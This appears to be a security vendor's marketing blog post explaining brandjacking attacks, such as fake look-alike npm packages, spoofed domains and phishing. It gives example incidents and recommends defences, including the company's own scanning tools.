These attacks have also moved into open-source software repositories. Brandjacking is similar to typosquatting attacks, but in this method, threat actors name malicious packages in a way that fools people into thinking that they are associated with a well-known brand — in this case, a popular language library. This technique tricks developers into using fake packages, assuming they are the official ones. Once inside a code base the malware can spread their malicious payload, which can disrupt and disable systems and steal sensitive data. 

Different types of brandjacking attacks

• Domain spoofing: Domain names that resemble legitimate brands are used to host malicious content or trick users into providing sensitive information.
• Social media impersonation: Fake social media accounts mimic a brand’s official accounts, to engage with followers to harvest their data or redirect them to malicious websites.
• Phishing emails: Attackers send emails pretending to be from a trusted brand, requesting recipients click on malicious links, provide personal information, or download harmful attachments.
• Impersonation with malicious packages: Malicious packages are designed and named to resemble reliable open source packages, to exploit developers’ trust. When they’re downloaded, they infect and damage your code.
• Dependency attacks: Malicious code can be injected into existing, popular open-source packages by exploiting vulnerabilities or taking over abandoned packages. When other developers include these compromised packages as dependencies in their projects, they inadvertently introduce malware into their software.

What security threats does brandjacking pose?

Brandjacking poses three main security threats. The first is operational. The second is personal. The last is reputational. These threats are as follows:

• Operational: Attackers use brandjacked websites or email attachments to distribute malware, such as malicious packages, that can compromise or even completely disable an organization’s systems or networks.
• Personal/Financial: Brandjacking is an effective way of compromising users’ data. Attackers can steal sensitive user information such as login credentials, payment details, or personally identifiable information (PII), leading to financial theft and fraud.
• Reputational: When organizations fall victim to brandjacking, their reputation as a secure and reliable vendor or partner gets tarnished. Customer trust gets eroded, which can result in financial loss.

Examples of significant brandjacking attacks

In 2020, several high-profile Twitter accounts were compromised in a brandjacking attack. Attackers posted fraudulent messages promising to double users’ Bitcoin investments, resulting in financial loss and reputational damage.

In 2021, a sophisticated phishing attack targeted PayPal users, impersonating the brand through convincing emails and websites. The attackers stole login credentials and gained unauthorized access to users’ accounts, potentially compromising personal and financial information.

In 2022, a malicious npm package named “jquery-lh” successfully mimicked the popular open source JavaScript library jQuery. jQuery is downloaded over 4 million times per week from npm, because it’s versatile, and extensible, it works in a wide variety of browsers and its speed and richness of features significantly simplify numerous tasks such as HTML document traversal and manipulation, event handling, and animation. This offered potentially rich pickings for attackers.  Millions of users downloaded the malicious “jquery-lh” package, because it looked legitimate, with the potential to disrupt and damage a multitude of code bases and a wide array of software and applications.

How can you strengthen security against brandjacking attacks?

As with all types of security issues, protecting your organization and your users against brandjacking involves a combination of implementing best practices, establishing good procedures, and using the right tools to help identify and thwart them. Recommended procedures and best practices are:

• Continuous vigilance for brandjacking attempts, so that you can promptly take action. This includes monitoring for brand mentions on social media platforms and proactively taking down fake accounts.
• Conduct regular and frequent security audits to identify vulnerabilities in applications and networks, ensuring that all software is up to date and patched against known vulnerabilities.
• Leverage application security capabilities to reinforce these efforts.
• Education and training for employees regarding brandjacking attacks, emphasizing how to identify phishing attempts and suspicious websites.

Typically, the tools that you can employ to help you implement these procedures are:

• Secure authentication mechanisms, including two-factor authentication (2FA), to add an extra layer of security and mitigate the risk of unauthorized access.
• DNS monitoring identifies suspicious or fraudulent domain names.
• Social media account verification for official brand accounts to mitigate the risk of impersonation.
• Domain-based message authentication, reporting, and conformance (DMARC): Apply DMARC policies to prevent email spoofing and phishing attempts.
• Application security tools, like software composition analysis, Mend SCA, Static Application Security Testing (SAST), Mend Supply Chain Defender, and Software Bill of Materials (SBOM). More on these below.

How can application security tools help protect you from brandjacking?

AppSec tools are deployed to apply security at a different level than brandjacking. They are focused on the development level — safeguarding components and dependencies in the software supply chain. Nevertheless, a beneficial “by-product” of these tools is that they can play a role in protecting your organization from brandjacking. They do this by:

• Inculcating good practice. They promote a security-conscious culture that raises awareness of risks and ways to reduce them, by fostering vigilance for anomalous activity and encouraging organizations to take prompt action to mitigate any ill-effects. In particular, this manifests itself in the practice of continuous scanning undertaken by SCA and SAST, and keeping track of changes that can indicate vulnerabilities.  
• Improving visibility. This capability is primarily intended for identifying components used in a particular application or system. It includes details such as component names, versions, and sources. It helps organizations identify and validate trusted components, ensuring that only legitimate software is used. By maintaining control over the supply chain, you can reduce the risk of using fake, malicious software that may lead to brandjacking.
• Finding vulnerabilities helps prevent brandjacking attacks that exploit weaknesses in third-party components.
• Authenticating and authorizing issues and checking anomalies that may arise from brandjacking attempts could allow attackers to bypass authentication, gain unauthorized access, or manipulate user sessions. Mend SCA detects malicious packages in your projects and provides detailed information about the threats that they carry. Mend Supply Chain Defender prevents the installation of malicious packages from the earliest stages of the development cycle. These tools help reduce the chances of incorporating components from untrusted sources, thereby mitigating the risk of brandjacking.  And authentication practices can also extend to SBOMs’ vendor/supplier verification capabilities that assess the trustworthiness of vendors and their software. 
• Detecting code injection vulnerabilities. Brandjacking attacks often involve injecting malicious code into legitimate applications to exploit them for malicious purposes. These tools scan the source code for potential code injection vulnerabilities, such as SQL injection, cross-site scripting (XSS), or remote code execution, and they alert users to their presence.
• Uncovering insecure data handling and security exploits that could lead to brandjacking, including improper storage, transmission, or encryption of sensitive data, such as user credentials or personal information.
• Applying license compliance. SBOMs check and verify license compliance and keep an up-to-date inventory of all your company’s digital assets. Brandjacking may involve malicious actors distributing modified versions of your software that violate the licenses of the open source components you use. So, hand-in-hand with SCA, SBOMs help you document and monitor the licenses associated with the components used in your software. This way, you can avoid license violations and diminish the risk of brandjacking through license-related legal issues. 

By employing these AppSec practices and tools, you demonstrate a commitment to transparency, security, compliance, and accountability that builds trust with customers, partners, and regulators. You reduce the risk of brandjacking by proactively managing your digital assets, and your strong supply chain management can deter potential brandjackers from targeting your organization.

Beat brandjacking with a comprehensive security strategy

Brandjacking attacks pose a significant cybersecurity threat, potentially resulting in compromised user data, reputational damage, and financial loss for organizations. Preventing brandjacking requires a comprehensive security strategy that includes trademark protection, online brand monitoring, and proactive security measures. Organizations that prioritize employee education, implement strong authentication mechanisms, conduct regular security audits, and leverage the capabilities of a full suite of security tools and practices, are best placed to avoid the damaging consequences of brandjacking attacks.